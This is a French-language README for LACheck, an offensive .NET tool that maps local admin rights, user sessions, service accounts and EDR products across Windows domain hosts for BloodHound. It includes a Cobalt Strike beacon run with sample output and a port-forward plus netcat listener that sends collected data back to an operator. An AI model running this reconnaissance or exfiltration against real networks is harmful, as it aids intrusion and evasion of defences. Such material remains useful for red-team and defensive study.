
Assembly multithreadé en C# .NET pour énumérer les privilèges administratifs locaux sur les hôtes Windows via SMB, WMI et WinRM, avec intégration BloodHound pour la reconnaissance Active Directory.
Assemblage .NET C# multithreadé pour l'énumération des privilèges administratifs locaux
> ./LACheck.exe help
_ _____ _ _
| | /\ / ____| | | |
| | / \ | | | |__ ___ ___| | __
| | / /\ \ | | | '_ \ / _ \/ __| |/ /
| |____ / ____ \ | |____| | | | __/ (__| <
|______/_/ \_\ \_____|_| |_|\___|\___|_|\_\
Usage:
LACheck.exe smb rpc /targets:hostname,fqdn.domain.tld,10.10.10.10 /ldap:all /ou:"OU=Special Servers,DC=example,DC=local" /verbose /bloodhound /user:[email protected]
Vérifications d'administration locale :
smb - Tente d'accéder au partage C$
rpc - Tente une requête WMI du fournisseur de classe Win32_ComputerSystem via RPC
winrm - Tente une requête WMI du fournisseur de classe Win32_ComputerSystem via une session WinRM
Arguments :
/bloodhound - Génère un fichier de collecte AdminTo et Session compatible BloodHound
le fichier de sortie est zippé et crypté avec un nom et un mot de passe aléatoires
/dc - Spécifie le contrôleur de domaine à interroger (si non exécuté sur une machine jointe au domaine)
/domain - Spécifie le nom de domaine (si non exécuté sur une machine jointe au domaine)
/edr - Vérifie la présence d'un EDR sur la machine (nécessite smb, rpc ou winrm)
/logons - Retourne les utilisateurs connectés sur une machine (nécessite smb, rpc ou winrm)
/registry - Énumère les sessions à partir de la ruche du registre (nécessite smb)
/services - Retourne les services exécutés en tant qu'utilisateurs (nécessite smb, rpc ou winrm)
/socket - Envoie la sortie BloodHound vers un socket TCP au lieu d'écrire sur le disque
ex : "127.0.0.1:8080"
/targets - Liste séparée par des virgules des noms de machines à vérifier
/threads - Spécifie le nombre maximal de threads parallèles (par défaut=25)
/user - Spécifie le nom d'utilisateur sous lequel la collecte a été effectuée (utile lors de manipulation de jetons)
/validate - Vérifie les informations d'identification contre le domaine avant d'analyser les cibles (utile lors de manipulation de jetons)
/verbose - Affiche des informations de journalisation supplémentaires
/ou - Spécifie l'unité d'organisation LDAP pour interroger les objets ordinateur activés
ex : "OU=Special Servers,DC=example,DC=local"
/ldap - Interroge les machines à partir des filtres LDAP suivants :
:all - Tous les ordinateurs activés avec le groupe 'primary' 'Domain Computers'
:dc - Tous les contrôleurs de domaine activés (hors contrôleurs en lecture seule)
:exclude-dc - Tous les ordinateurs activés qui ne sont pas des contrôleurs de domaine ou des contrôleurs en lecture seule
:servers - Tous les serveurs activés
:servers-exclude-dc - Tous les serveurs activés, à l'exclusion des contrôleurs de domaine ou des contrôleurs en lecture seule
execute-assembly /opt/SharpTools/LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[*] Tasked beacon to run .NET program: LACheck smb rpc winrm /ldap:servers-exclude-dc /targets:WEB01,DEV02.contoso.com,10.10.10.10 /logons /threads:10 /verbose
[+] host called home, sent: 111705 bytes
[+] received Output
[+] Parsed Aguments:
rpc: True
smb: True
winrm: True
/bloodhound: False
/edr: False
/logons: True
/registry: False
/services: False
/ldap: servers-exclude-dc
/ou:
/targets:
/threads: 10
/user: svcadmin
/validate: False
/verbose: False
[+] Performing LDAP query for all enabled computers that are not Domain Controllers or read-only DCs...
[+] This may take some time depending on the size of the environment
[+] LDAP Search Results: 2
[SMB] Admin Success: WEB01 as svcadmin
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
[WinRM] Admin Success: DESKTOP-118GDCE as svcadmin
[WinRM] Admin Success: DEV02.contoso.com as svcadmin
[!] RPC on DEV02.contoso.com - Access denied.
[!] SMB on DEV02.contoso.com - Attempted to perform an unauthorized operation.
[RPC] Admin Success: 10.10.10.10 as svcadmin
[!] SMB on 10.10.10.10 - Attempted to perform an unauthorized operation.
[!] WinRM on 10.10.10.10 - The WinRM client cannot process the request. Default authentication may be used with an IP address under the following conditions: the transport is HTTPS or the destination is in the TrustedHosts list, and explicit credentials are provided. Use winrm.cmd to configure TrustedHosts. Note that computers in the TrustedHosts list might not be authenticated. For more information on how to set TrustedHosts run the following command: winrm help config.
Comme le montre l'exemple de sortie ci-dessus, tenter de vérifier WinRM sur la machine à l'adresse IP 10.10.10.10 générera une erreur car le client WinRM ne tente pas de s'authentifier auprès d'une machine via une adresse IP.
Utilisez des noms de machine lorsque vous tentez de vérifier l'accès WinRM.
Les indicateurs /targets, /ldap et /ou peuvent tous être utilisés ensemble ou séparément pour générer une liste de machines à énumérer.
Toutes les machines retournées par ces indicateurs sont combinées et dédoublonnées avant le début de l'énumération.
LACheck prend en charge l'écriture des collectes AdminTo et Session dans une sortie JSON qui peut être téléchargée dans BloodHound.
Cette sortie est uniquement destinée à compléter une collecte BloodHound existante avec des privilèges administratifs mis à jour pour un seul utilisateur et des sessions collectées à partir de machines pour lesquelles des privilèges administratifs ont été identifiés.
Le commutateur /bloodhound écrira un fichier zip crypté nommé aléatoirement sur le disque, qui peut être téléchargé, extrait et téléchargé dans BloodHound.
BloodHound nécessite de résoudre les utilisateurs et les machines en SID. En raison de techniques d'usurpation telles que make_token et kerberos_ticket_use de Cobalt Strike, LACheck peut ne pas être en mesure de déterminer avec précision le contexte utilisateur pour une collecte. L'argument /user est requis pour fournir à LACheck le userprincipalname (format = [email protected]) du contexte sous lequel il est exécuté afin de corréler avec précision les informations de la collecte.
La sortie BloodHound peut être envoyée vers un socket TCP au lieu d'être écrite sur le disque.
Si la connexion TCP échoue, la sortie BloodHound sera écrite sur le disque.
Dans une sonde Cobalt Strike, les connexions TCP peuvent être transférées d'une machine vers la machine locale de l'opérateur à l'aide de rportfwd_local :
rportfwd_local 8888 127.0.0.1 8888
Un opérateur peut ensuite rediriger la sortie du flux TCP vers un fichier local en utilisant netcat :
nc -lvnp 8888 > computers.json
- = non implémenté
Inspiré du script EDR.cna de harleyQu1nn
La méthode Directory.GetFiles retourne une liste de pilotes depuis :
Les pilotes sont comparés à une liste de pilotes connus utilisés par les fournisseurs d'EDR.
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
NetWkstaUserEnum retourne une liste d'utilisateurs avec des connexions interactives, de service et par lots.
WTSEnumerateSessionsA retourne une liste de sessions RDP sur une machine.
WTSQuerySessionInformationA récupère des informations détaillées pour chaque session RDP.
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[session] WEB01 - contoso\WEB01$ (svcadmin)
[session] WEB01 - contoso\devadmin (svcadmin)
[session] WEB01 - contoso\devuser (svcadmin)
[rdp] WEB01 - contoso\devadmin rdp-tcp#2 Active Last Connection: 00:00:50:26 Last Input: 00:00:00:00 (svcadmin)
Parcourt les SID dans la ruche \\Computer\HKEY_USERS\, tente d'accéder à Volatile Environment pour chaque SID, et récupère les valeurs des clés USERDOMAIN et USERNAME.
Cette méthode nécessite que le service Remote Registry soit en cours d'exécution sur la machine distante. Si ce n'est pas le cas :
AutomaticEn raison du processus potentiellement multi-étapes pour énumérer chaque machine, cette méthode peut être plus lente que les autres techniques. smb /logons est plus rapide.
[registry] WEB01 - contoso\devadmin (svcadmin)
La méthode ServiceController.GetServices récupère une liste de services sur une machine.
Chaque service est interrogé pour déterminer l'utilisateur sous lequel il est configuré pour s'exécuter.
En raison de la nécessité d'interroger chaque service individuellement, cette méthode peut être plus lente que les autres techniques. wmi /services est plus rapide.
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
Inspiré du script EDR.cna de harleyQu1nn
La classe CIM_DataFile retourne une liste de pilotes depuis :
Les pilotes sont comparés à une liste de pilotes connus utilisés par les fournisseurs d'EDR.
[EDR] WEB01 - Found: CrowdStrike, SentinelOne (svcadmin)
[EDR] DEV02 - no EDR found (svcadmin)
La classe Win32_LoggedOnUser retourne une liste des sessions connectées. La classe Win32_LogonSession retourne des informations détaillées pour chaque session.
[session] WEB01 - contoso\devadmin 4/20/2021 11:00:05 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 1:40:52 PM (svcadmin)
[session] WEB01 - contoso\WEB01$ 4/20/2021 5:51:43 PM (svcadmin)
[session] WEB01 - contoso\devadmin 4/20/2021 09:54:38 AM (svcadmin)
[session] WEB01 - contoso\devuser 4/20/2021 10:14:32 AM (svcadmin)
Interroge la classe Win32_UserProfile pour récupérer les SID des profils utilisateur sur un système.
La méthode EnumKey de la classe StdRegProv récupère la ruche \\Computer\HKEY_USERS\ et tente d'accéder à Volatile Environment pour chaque SID retourné afin de récupérer les valeurs des clés USERDOMAIN et USERNAME.
[registry] WEB01 - contoso\devadmin (svcadmin)
Interroge la classe Win32_Service pour récupérer le nom, l'utilisateur et l'état des services.
[service] WEB01 - [email protected] Service: secretsvc State: Running (svcadmin)
Chaque vérification WMI est également implémentée en utilisant Ressources WMI et Énumération WMI via WinRM.
Cela évite l'utilisation d'espaces d'exécution PowerShell.
| SMB | WMI | WinRM |
|---|
| /edr | rapide | rapide | rapide |
| /logons | rapide | rapide | rapide |
| /services | lent | rapide | rapide |
| /registry | lent | rapide | - |